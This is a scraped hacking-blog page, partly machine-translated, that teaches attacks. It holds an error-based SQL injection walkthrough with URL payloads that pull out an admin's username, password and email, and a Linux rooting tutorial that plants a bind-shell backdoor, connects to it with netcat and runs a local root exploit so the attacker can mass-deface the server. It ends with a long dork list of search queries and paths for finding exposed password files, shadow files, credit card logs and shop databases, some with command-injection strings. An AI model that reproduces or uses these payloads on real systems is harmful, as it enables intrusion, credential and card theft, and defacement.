    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion is when converting nvarchar value of users' data on the type Int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++


    That is, in this case the table (table_name) The first is the 'Users', now find the following table:

    For example:

    -------------------------------------------------- -------------------------------------------------- ------------------------------------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users')))--
    -------------------------------------------------- -------------------------------------------------- ------------------------------------------------


    And now an error message will appear the same and will give another table:

    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion is not news when converting nvarchar value 'to data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

    Another table in this case is 'news'

    Now to find the table (table_name) third goes like this:

    For example:


    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users',' news')))--
    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------


    I appear to us the third table:


    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion is when converting nvarchar value categories' of data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++


    Then the third table 'categories', and so on until you find all the tables.

    For example:


    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from table_name where information_schema.tables not ( 'Users', 'news', 'Categories'))) --
    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------

    [1.6 How to discover the names of column (column_name)]
    ###########################################

    -If you want to column_name for users as' go:

    For example:


    -------------------------------------------------- -------------------------------------------------- -----------------------------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users'))--
    -------------------------------------------------- -------------------------------------------------- -----------------------------------------
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion failed when converting nvarchar value 'Name' to data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

    So colums name for the table (table_name) 'Users' the 'name'

    Now find the column (column_name) other at the same table 'Users':

    For example:


    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users' and column_name (' name')))--
    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- --------------------------
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion is not a password when converting nvarchar value 'to data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++


    columnes name (column_name) the other is 'password', now go find a rotating column_name:

    For example:

    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 column_name from information_schema.columns where table_name = 'users' and column_name ( 'name', 'password'))) --
    -------------------------------------------------- -------------------------------------------------- -------------------------------------------------- ---------------------------------------
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion failed when converting nvarchar value 'emailaddress' to data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

    Therefore, the third Colum_name 'emailaddress' and so on and on until the end, to find all of the columns (column_name)!



    [1.7 How to get data that interest you (our user name, pass, email, etc.)]
    ################################################## ###


    To do so you do not have anything to ndyshe we mentioned before.
    In this section, all that needs to be done is to table (table_name), and the names of column (column_name) in their earlier results found.

    In this section will be used:
    Table_name = Users
    Column_name = user name, password, emailaddress!

    Some have now replaced the example:


    -------------------------------------------------- -----------------------------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 name from Users)) --
    -------------------------------------------------- -----------------------------------------
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion is not an administrator when converting nvarchar value 'to data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

    user name : Administrator

    Replacing now the first column "Name" in the second column "password":

    For example:


    -------------------------------------------------- -----------------------------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top password from the user 1)) --
    -------------------------------------------------- -----------------------------------------

    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion failed when converting nvarchar value '123456 'to data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++


    password: administratorpassword123

    Now, instead of rotating columns works the same as above:

    For example:


    -------------------------------------------------- ---------------------------------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 from users emailaddress)) --
    -------------------------------------------------- ---------------------------------------------

    emailaddress: king.cyborg@yahoo.com

    Here then we have achieved some info on, and the name / pass and emailaddress page.

    user name: Administrator
    password: administratorpassword123
    emailaddress: [email]king.cyborg@yahoo.com/email]

    [ 1.8 Conclusion ]
    ############

    ================================================== ===========================
    www.localhost.com/news.asp?id=100'
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...(@@version))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...(db_name()))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users')))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'members')))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 table_name from information_schema.tables where table_name not in ('Users' , 'members' , 'categories')))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 column_name from information_schema.columns where table_name='Users'))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username')))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 column_name from information_schema.columns where table_name='Users' and column_name not in ('username' , 'password')))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 username from Users))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 password from Users))--
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://www.localhost.com/news.asp?id...rt(int,(select top 1 emailaddress from Users))--
    ================================================== ===========================

jueves, 3 de noviembre de 2011

rooteando servidor

Okey guys after Dangerous Hacker posted his Tutorial about Rooting on Urdu Language lotz of people have asked to be translated or to be made some on english language.
Today am going to write about rooting a *Unix Maschine and yes this tutorial will be on english!


It is nice to know how to use this method well once we gain access to the server we can execute massdeface command and own the whole server with our defacement!
So lets start with this little tutorial:

*What we need?
-WebSite where we have Shell
-Local Root Exploit
-Backconnection Script/Backdoor
-Little knowledge about Linux commands(Baisic)

First:
We access our shell and we need to check what version is the kernel.For that we execute the following command:
Code:

uname -a

once we execute the command something like this will be showed back as result
Code:

Linux  2.6.18-194 #1 SMP Tue Aug 10 19:48:16 EDT 2009 i686 i686 i386 GNU/Linux

So once we know what version is the kernel we need to search for an exploit for it.
Q:What is an Exploit?
A:Exploit is a code that give us a privilage to gain root priv and have access to the whole server.Now imagine a house you are the attacker wonna to get into the house the lock is old in this case that is the kernel and we have a key[EXPLOIT] that is going to open that door and get into the house[SEVER].So is this clear? What is Exploit? Good we move on...

Second:
So once we find the explot we gonna to you we upload it on the site and we need go do a backconnect for that we download netcat and we need to setup a backdoor on the Server.
If you use GNY shell you gonna to click on Backdoor and put some port ex:403 and press install backdoor.
Once you do that we need to connect with our NetCat
Code:

RUN->CMD

and now we go to the directory where is our NetCat in my case
Code:

C:\nc

and now we write the next command in our CMD/if your on Linux you write the same command
Code:

nc IP of the Server PORT

In this case its:
Code:

nc 13.37.41.74 403

And the following sentence is poped out when i write that:
Code:

    :: w4ck1ng-shell (Private Build v0.3) bind shell backdoor ::

Good we have connection on the server.
Third:
we need to check who we are:
Code:

id

and get:
Code:

id=99(nobody) gid=99(nobody)

Hmm not root okey its time for the exploit we go into the dir where is the exploit and we need to compile it for that we use
the following command:
Code:

gcc filename.c -o filename

Now our exploit file is named like exploit.c in the server so we need to compile it:
Code:

 gcc exploit.c -o exploit

Once we compile the exploit we gonna to give him 777 permisions:
Code:

chmod 777 exploit

After we set up the permisions we need to execute our exploit:
Code:

./exploit

And you see some text...After it finish type:
Code:

id

and if you get:
Code:

id=root(0) gid=root(0) groups=root(0)

We are root and we can do what ever we wanna with the server.
If it shows like agaen nobody the server is patched or its a wrong exploit!

Thanks guys for reading...that is all you need to know on how to root a *Unix Server

dorck vip disclousure

1. &quot;Index of /admin&quot;
2. &quot;Index of /password&quot;
3. &quot;Index of /mail&quot;
4. &quot;Index of /&quot; +passwd
5. &quot;Index of /&quot; +password.txt
6. &quot;Index of /&quot; +.htaccess
7. index of ftp +.mdb allinurl:/cgi-bin/ +mailto
8. administrators.pwd.index
9. authors.pwd.index
10. service.pwd.index
11. filetype:config web
12. gobal.asax index
13. allintitle: &quot;index of/admin&quot;
14. allintitle: &quot;index of/root&quot;
15. allintitle: sensitive filetype:doc
16. allintitle: restricted filetype :mail
17. allintitle: restricted filetype:doc site:gov
18. inurlasswd filetype:txt
19. inurl:admin filetype:db
20. inurl:iisadmin
21. inurl:&quot;auth_user_file.txt &quot;
22. inurl:&quot;wwwroot/*.&quot;
23. top secret site:mil
24. confidential site:mil
25. allinurl: winnt/system32/ (get cmd.exe)
26. allinurl:/bash_history
27. intitle:&quot;Index of&quot; .sh_history
28. intitle:&quot;Index of&quot; .bash_history
29. intitle:&quot;index of&quot; passwd
30. intitle:&quot;index of&quot; people.lst
31. intitle:&quot;index of&quot; pwd.db
32. intitle:&quot;index of&quot; etc/shadow
33. intitle:&quot;index of&quot; spwd
34. intitle:&quot;index of&quot; master.passwd
35. intitle:&quot;index of&quot; htpasswd
36. intitle:&quot;index of&quot; members OR accounts
37. intitle:&quot;index of&quot; user_carts OR user_cart
38. ALTERNATIVE INPUTS=================== =
39. _vti_inf.html
40. service.pwd
41. users.pwd
42. authors.pwd
43. administrators.pwd
44. shtml.dll
45. shtml.exe
46. fpcount.exe
47. default.asp
48. showcode.asp
49. sendmail.cfm
50. getFile.cfm
51. imagemap.exe
52. test.bat
53. msadcs.dll
54. htimage.exe
55. counter.exe
56. browser.inc
57. hello.bat
58. default.aspdvwssr.dll
59. cart32.exe
60. add.exe
61. index.jsp
62. SessionServlet
63. shtml.dll
64. index.cfm
65. page.cfm
66. shtml.exe
67. web_store.cgi
68. shop.cgi
69. upload.asp
70. default.asp
71. pbserver.dll
72. phf
73. test-cgi
74. finger
75. Count.cgi
76. jj
77. php.cgi
78. php
79. nph-test-cgi
80. handler
81. webdist.cgi
82. webgais
83. websendmail
84. faxsurvey
85. htmlscript
86. perl.exe
87. wwwboard.pl
88. www-sql
89. view-source
90. campas
91. aglimpse
92. glimpse
93. man.sh
94. AT-admin.cgi
95. AT-generate.cgi
96. filemail.pl
97. maillist.pl
98. info2www
99. files.pl
100. bnbform.cgi
101. survey.cgi
102. classifieds.cgi
103. wrap
104. cgiwrap
105. edit.pl
106. perl
107. names.nsf
108. webgais
109. dumpenv.pl
110. test.cgi
111. submit.cgi
112. guestbook.cgi
113. guestbook.pl
114. cachemgr.cgi
115. responder.cgi
116. perlshop.cgi
117. query
118. w3-msql
119. plusmail
120. htsearch
121. infosrch.cgi
122. publisher
123. ultraboard.cgi
124. db.cgi
125. formmail.cgi
126. allmanage.pl
127. ssi
128. adpassword.txt
129. redirect.cgi
130. cvsweb.cgi
131. login.jsp
132. dbconnect.inc
133. admin
134. htgrep
135. wais.pl
136. amadmin.pl
137. subscribe.pl
138. news.cgi
139. auctionweaver.pl
140. .htpasswd
141. acid_main.php
142. access.log
143. log.htm
144. log.html
145. log.txt
146. logfile
147. logfile.htm
148. logfile.html
149. logfile.txt
150. logger.html
151. stat.htm
152. stats.htm
153. stats.html
154. stats.txt
155. webaccess.htm
156. wwwstats.html
157. source.asp
158. perl
159. mailto.cgi
160. YaBB.pl
161. mailform.pl
162. cached_feed.cgi
163. global.cgi
164. Search.pl
165. build.cgi
166. common.php
167. show
168. global.inc
169. ad.cgi
170. WSFTP.LOG
171. index.html~
172. index.php~
173. index.html.bak
174. index.php.bak
175. print.cgi
176. register.cgi
177. webdriver
178. bbs_forum.cgi
179. mysql.class
180. sendmail.inc
181. CrazyWWWBoard.cgi
182. search.pl
183. way-board.cgi
184. webpage.cgi
185. pwd.dat
186. adcycle
187. post-query
188. help.cgi
189. /robots.txt
190. /admin.mdb
191. /shopping.mdb
192. /arg;
193. /stats/styles.css
194. /statshelp.htm
195. /favicon.ico
196. /stats/admin.mdb
197. /shopdbtest.asp
198. /cgi-bin/test.cgi
199. /cgi-bin/test.pl
200. /cgi-bin/env.cgi
201. /photos/protest/styles.css
202. [Only registered and activated users can see links. ]
203. /cgi-bin/whereami.cgi
204. /shopping400.mdb
205. /cgi/test.cgi
206. /cgi-bin/test2.pl
207. /photos/protest/kingmarch_02.html
208. /chevy/index.htm
209. /cgi-bin/glocation.cgi
210. /cgi-bin/test2.cgi
211. /ccbill/glocation.cgi
212. /cgi-bin/styles.css
213. /shopping350.mdb
214. /cgi-bin/shopper.cgi
215. /shopadmin.asp
216. /news_2003-02-27.htm
217. /cgi-bin/whois.cgi
218. 3 /cgi-bin/calendar.pl
219. 3 /cgi-bin/calendar/calendar.pl
220. 3 /cgibin/styles.css
221. 3 /venem.htm
222. 2 /stats/www.newbauersflowers.com/stats/04-refers.htm
223. 2 /cgi-bin/where.pl
224. 2 /cgibin/shopper.cgi&amp;TEMPLATE=ORDE R.LOG
225. 2 /cgibin/recon.cgi
226. 2 /cgibin/test.cgi
227. 2 /WebShop/templates/styles.css
228. 2 /stats/shopping350.mdb
229. 2 /cgi-bin/mailform.cgi
230. 2 /cgi-bin/recon.cgi
231. 2 /chevy
232. 2 /cgi-bin/servinfo.cgi
233. 2 /acart2_0.mdb
234. 2 /cgi-bin/where.cgi
235. 2 /chevy/
236. 2 /stats/www.savethemall.net/stats/19-refers.htm
237. 2 /ccbill/secure/ccbill.log
238. 2 /cgi/recon.cgi
239. 2 /stats/www.gregoryflynn.com/chevy
240. 2 /ibill/glocation.cgi
241. 2 /ccbill/whereami.cgi
242. 2 /ibill/whereami.cgi
243. 2 /apps_trial.htm
244. 2 /cgi-bin/lancelot/recon.cgi
245. 2 /cgi-bin/DCShop/Orders/styles.css
246. 1 /cgi-bin/htmanage.cgi
247. 1 /stats/www.tysons.net/stats/05-refers.htm
248. 1 /cgi-bin/mastergate/add.cgi
249. 1 /cgi-bin/openjournal.cgi
250. 1 /cgi-bin/calendar/calendar_admin.pl
251. 1 /cgibin/ibill/count.cgi
252. 1 /cgi-bin/nbmember2.cgi
253. 1 /cgi-bin/mastergate/count.cgi
254. 1 /cgi-bin/mastergate/accountcreate.cgi
255. 1 /cgi-bin/ibill/accountcreate.cgi
256. 1 /cgibin/MasterGate2/count.cgi
257. 1 /cgi-bin/amadmin.pl
258. 1 /cgibin/mailform.cgi
259. 1 /cgibin/mastergate/count.cgi
260. 1 /cgibin/harvestor.cgi
261. 1 /cgibin/igate/count.cgi
262. 1 /WebShop
263. 1 /shopdisplaycategories.asp
264. 1 /cgi-bin/DCShop/Orders/orders.txt
265. 1 /cgi-bill/revshare/joinpage.cgi
266. 1 /stats/www.gregoryflynn.com/stats/19-refers.htm
267. 1 /cgi-local/DCShop/auth_data/styles.css
268. 1 /cgi-bin/add-passwd.cgi
269. 1 /cgi-bin/MasterGate/count.cgi
270. 1 /apps_shop.htm%20/comersus/database/comersus.mdb
271. 1 /data/verotellog.txt
272. 1 /epwd/ws_ftp.log
273. 1 /stats/www.dialacure.com/stats/16-refers.htm
274. 1 /cgi/MasterGate2/count.cgi
275. 1 /jump/rsn.tmus/skybox;sz=140x150;segment =all;resor=jackson;state=

WY;sect=home;tile=8;ord=5 7019
276. 1 /wwii/styles.css
277. 1 /cgi-bin/admin.mdb
278. 1 /stats/www.gregoryflynn.com/stats/31-refers.htm
279. 1 /cgi-bin/ibill-tools/count.cgi
280. 1 /WebShop/templates/cc.txt
281. 1 /cgibin/ibill/accountcreate.cgi
282. 1 /cgi-bin/count.cgi
283. 1 /cgi-local/DCShop/auth_data/auth_user_file.txt
284. 1 /cgi/mastergate/count.cgi
285. 1 /cgi-bin/EuroDebit/addusr.pl
286. 1 /cgi-bin/dbm-passwd.cgi
287. 1 /cgi/igate/accountcreate.cgi
288. 1 /cgi-bin/store/Log_files/your_order.log
289. store/log_files/your_order.log
290. /cgi-bin/DCShop/Orders/orders.txt
291. /vpasp/shopdbtest.asp
292. /orders/checks.txt
293. /WebShop/logs
294. /ccbill/secure/ccbill.log
295. /scripts/cart32.exe
296. /cvv2.txt
297. /cart/shopdbtest.asp
298. /cgi-win/cart.pl
299. /shopdbtest.asp
300. /WebShop/logs/cc.txt
301. /cgi-local/cart.pl
302. /PDG_Cart/order.log
303. /config/datasources/expire.mdb
304. /cgi-bin/ezmall2000/mall2000.cgi?page=../mall_log_files/order.loghtml
305. /orders/orders.txt
306. /cgis/cart.pl
307. /webcart/carts
308. /cgi-bin/cart32.exe/cart32clientlist
309. /cgi/cart.pl
310. /comersus/database/comersus.mdb
311. /WebShop/templates/cc.txt
312. /Admin_files/order.log
313. /orders/mountain.cfg
314. /cgi-sys/cart.pl
315. /scripts/cart.pl
316. /htbin/cart.pl
317. /productcart/database/EIPC.mdb
318. /shoponline/fpdb/shop.mdb
319. /config/datasources/myorder.mdb
320. /PDG_Cart/shopper.conf
321. /shopping/database/metacart.mdb
322. /bin/cart.pl
323. /cgi-bin/cart32.ini
324. /database/comersus.mdb
325. /cgi-local/medstore/loadpage.cgi?user_id=id&amp;f ile=data/orders.txt
326. /cgi-bin/store/Admin_files/myorderlog.txt
327. /cgi-bin/orders.txt
328. /cgi-bin/store/Admin_files/your_order.log
329. /test/test.txt
330. /fpdb/shop.mdb
331. /cgibin/shop/orders/orders.txt
332. /shopadmin1.asp
333. /cgi-bin/shop.cgi
334. /cgi-bin/commercesql/index.cgi?page=../admin/manager.cgi
335. /cgi-bin/PDG_cart/card.txt
336. /shopper.cgi?preadd=action &amp;key=PROFA&amp;template=or der 1.log
337. /store/shopdbtest.asp
338. /log_files/your_order.log
339. /_database/expire.mdb
340. /HyperStat/stat_what.log
341. /cgibin/DCShop/auth_data/auth_user_file.txt
342. /htbin/orders/orders.txt
343. /SHOP/shopadmin.asp
344. /index.cgi?page=../admin/files/order.log
345. /vpshop/shopadmin.asp
346. /webcart/config
347. /PDG/order.txt
348. /cgi-bin/shopper.cgi
349. /orders/order.log
350. /orders/db/zzzbizorders.log.html
351. /easylog/easylog.html
352. /cgi-bin/store/Log_files/your_order.log
353. /cgi-bin/%20shopper.cgi?preadd=act ion&amp;key=PROFA&amp;template=sh opping400.mdb
354. /comersus_message.asp?
355. /orders/import.txt
356. /htbin/DCShop/auth_data/auth_user_file.txt
357. /admin/html_lib.pl
358. /cgi-bin/%20shopper.cgi?preadd=act ion&amp;key=PROFA&amp;template=my order.txt
359. /cgi-bin/DCShop/auth_data/auth_user_file.txt
360. /cgi-bin/shop.pl/page=;cat%20shop.pl
361. /cgi-bin/shopper?search=action&amp;key words=dhenzuser%20&amp;templa te=order.log
362. /HBill/htpasswd
363. /bin/shop/auth_data/auth_user_file.txt
364. /cgi-bin/cs/shopdbtest.asp
365. /mysql/shopping.mdb
366. /Catalog/config/datasources/Products.mdb
367. /trafficlog
368. /cgi/orders/orders.txt
369. /cgi-local/PDG_Cart/shopper.conf
370. /store/cgi-bin/Admin_files/expire.mdb
371. /derbyteccgi/shopper.cgi?key=SC7021&amp;pr eadd=action&amp;template=orde r.log
372. /derbyteccgi/shopper.cgi?search=action &amp;keywords=moron&amp;templa te= order.log
373. /cgi-bin/mc.txt
374. /cgi-bin/mall2000.cgi
375. /cgi-win/DCShop/auth_data/auth_user_file.txt
376. /cgi-bin/shopper.cgi?search=action &amp;keywords=root%20&amp;temp lat e=order.log
377. /store/commerce.cgi
378. /scripts/shop/orders/orders.txt
379. /product/shopping350.mdb
380. /super_stats/access_logs
381. /cgi-local/orders/orders.txt
382. /cgi-bin/PDG_Cart/mc.txt
383. /cgibin/cart32.exe
384. /cgi-bin/Shopper.exe?search=action &amp;keywords=psiber%20&amp;te mpl

ate=other/risinglogorder.log
385. /cgibin/password.txt
386. /Catalog/cart/carttrial.dat
387. /catalog/Admin/Admin.asp
388. /ecommerce/admin/user/admin.asp
389. /data/productcart/database/EIPC.mdb
390. /store/admin_files/commerce_user_lib.pl
391. /cgi-bin/store/index.cgi
392. /paynet.txt
393. /config/datasources/store/billing.mdb
394. /_database/shopping350.mdb
395. /cgi-bin/shopper.exe?search
396. /cgi/shop.pl/page=;cat%20shop.pl
397. /cgi-bin/store/Admin_files/orders.txt
398. /cgi-bin/store/commerce_user_lib.pl
399. /cgi-sys/pagelog.cgi
400. /cgi-sys/shop.pl/page=;cat%20shop.pl
401. /scripts/weblog
402. /fpdb/shopping400.mdb
403. /htbin/shop/orders/orders.txt
404. /cgi-bin/%20shopper.cgi?preadd=act ion&amp;key=PROFA&amp;template=my order.log
405. /cgi-bin/shopper.exe?search=action &amp;keywords=psiber&amp;templ ate =order.log
406. /mall_log_files/
407. /cgi-bin/perlshop.cgi
408. /tienda/shopdbtest.asp
409. /cgi-bin/%20shopper.cgi?preadd=act ion&amp;key=PROFA&amp;template=sh opping.mdb
410. /cgi-bin/shopper.cgi?search=action &amp;keywords=whinhall&amp;tem pla te=order.log
411. /WebShop/logs/ck.log
412. /fpdb/shopping300.mdb
413. /mysql/store.mdb
414. /cgi-bin/store/Admin_files/commerce_user_lib.pl
415. /config.dat
416. /order/order.log
417. /commerce_user_lib.pl
418. /Admin_files/AuthorizeNet_user_lib.pl
419. /cvv2.asp
420. /cgi-bin/cart32/CART32-order.txt
421. /wwwlog
422. /cool-logs/mlog.html
423. /cgi-bin/pass/merchant.cgi.log
424. /cgi-local/pagelog.cgi
425. /cgi-bin/pagelog.cgi
426. /cgi-bin/orders/cc.txt
427. /cgis/shop/orders/orders.txt
428. /admin/admin_conf.pl
429. /cgi-bin/pdg_cart/order.log
430. /cgi/PDG_Cart/order.log
431. /Admin_files/ccelog.txt
432. /cgi-bin/orders/mc.txt
433. /cgi/cart32.exe
434. /ecommerce/admin/admin.asp
435. /scripts/DCShop/auth_data/auth_user_file.txt
436. /Catalog/config/datasources/Expire.mdb
437. /ecommerce/admin/shopdbtest.asp
438. /mysql/mystore.mdb
439. /cgi-bin/%20shopper.cgi?preadd=act ion&amp;key=PROFA&amp;template=sh opping.asp
440. /cgi-bin/commercesql/index.cgi?page=../admin/files/order.log
441. /cgi-bin/Count.cgi?df=callcard.dat
442. /logfiles/
443. /shopping/shopping350.mdb
444. /admin/configuration.pl
445. /cgis/DCShop/auth_data/auth_user_file.txt
446. /cgis/cart32.exe
447. /cgi-bin/dcshop.cgi
448. /cgi-win/shop/auth_data/auth_user_file.txt
449. /shopping400.mdb
450. /HBill/config
451. /cgi-bin/shop/index.cgi?page=../admin/files/order.log
452. /search=action&amp;keywords=GS D%20&amp;template=order.log
453. /WebCart/orders.txt
454. /PDG_Cart/authorizenets.txt
455. /cgi-bin/AnyForm2
456. /~gcw/cgi-bin/Count.cgi?df=callcard.dat
457. /cgi-bin/PDG_Cart/order.log
458. /expire.mdb
459. /logger/
460. /webcart-lite/orders/import.txt
461. /cgi-bin/commercesql/index.cgi?page=../admin/admin_conf.pl
462. /cgi-bin/PDG_Cart/shopper.conf
463. /cgi-bin/cart32.exe
464. /dc/orders/orders.txt
465. /cgi-local/DCShop/orders/orders.txt
466. /shop.pl/page=shop.cfg
467. /cgi-local/cart32.exe
468. /cgi-win/pagelog.cgi
469. /cgi-win/shop/orders/orders.txt
470. /cgibin/shopper.cgi?search=action &amp;keywords=moron&amp;templa te= order.csv
471. /cgi-sys/DCShop/auth_data/auth_user_file.txt
472. /cgi-bin/www-sql;;;
473. /cgi-bin/%20shopper.cgi?preadd=act ion&amp;key=PROFA&amp;template=or der.log
474. /scripts/orders/orders.txt
475. /cgi-local/shop.pl/shop.cfg
476. /search=action&amp;keywords=cw tb%20&amp;template=expire.mdb
477. /php/mylog.phtml
478. /config/datasources/shopping.mdb
479. /php-coolfile/action.php?action=edit&amp;fi le=config.php
480. /cgi-bin/ezmall2000/mall2000.cgi
481. /cgi/DCShop/orders/orders.txt
482. /cgi-local/shop.pl
483. /cgis/DCShop/orders/orders.txt
484. /product/shopdbtest.asp
485. /ASP/cart/database/metacart.mdb
486. /cgi-bin/cgi-lib.pl
487. /cgi-bin/mailview.cgi?cmd=view&amp;fld rname=inbox&amp;select=1&amp;html
488. /search=action&amp;keywords=cw tb%20&amp;template=order.log
489. /mysql/expire.mdb
490. /scripts/shop/auth_data/auth_user_file.txt
491. /cgi-bin/cart32/whatever-OUTPUT.txt
492. /Shopping%20Cart/shopdbtest.asp
493. /cgi/shop/auth_data/auth_user_file.txt
494. /shop/shopping350.mdb
495. /cgi-bin/store/Authorize_Net.pl
496. /scripts/DCShop/orders/orders.txt
497. /store/log_files/commerce_user_lib.pl
498. /shopping/shopadmin.asp
499. /cgi-bin/orderlog.txt
500. /cgi-bin/webcart/webcart.cgi?CONFIG=mounta in&amp;CHANGE=YES&amp;NEX

TPAGE=;cat%20../../webcart/system/orders/orders.txt|&amp;CODE=PHOLD;;;
501. /cool-logs/mylog.html
502. /cgibin/shop.pl/page=;cat%20shop.pl
503. /htbin/shop.pl/page=;cat%20shop.pl
504. /cgi-win/orders/orders.txt
505. /cgi-bin/%20shopper.cgi?preadd=act ion&amp;key=PROFA&amp;template=or der1.txt
506. /SHOP/shopdbtest.asp
507. /cgi/pagelog.cgi
508. /php/mlog.phtml
509. /cgi-bin/shop/apdproducts.mdb
510. /htbin/shop/auth_data/auth_user_file.txt
511. /server%20logfile;;;
512. /database/metacart.mdb
513. /cgi-local/shop/orders/orders.txt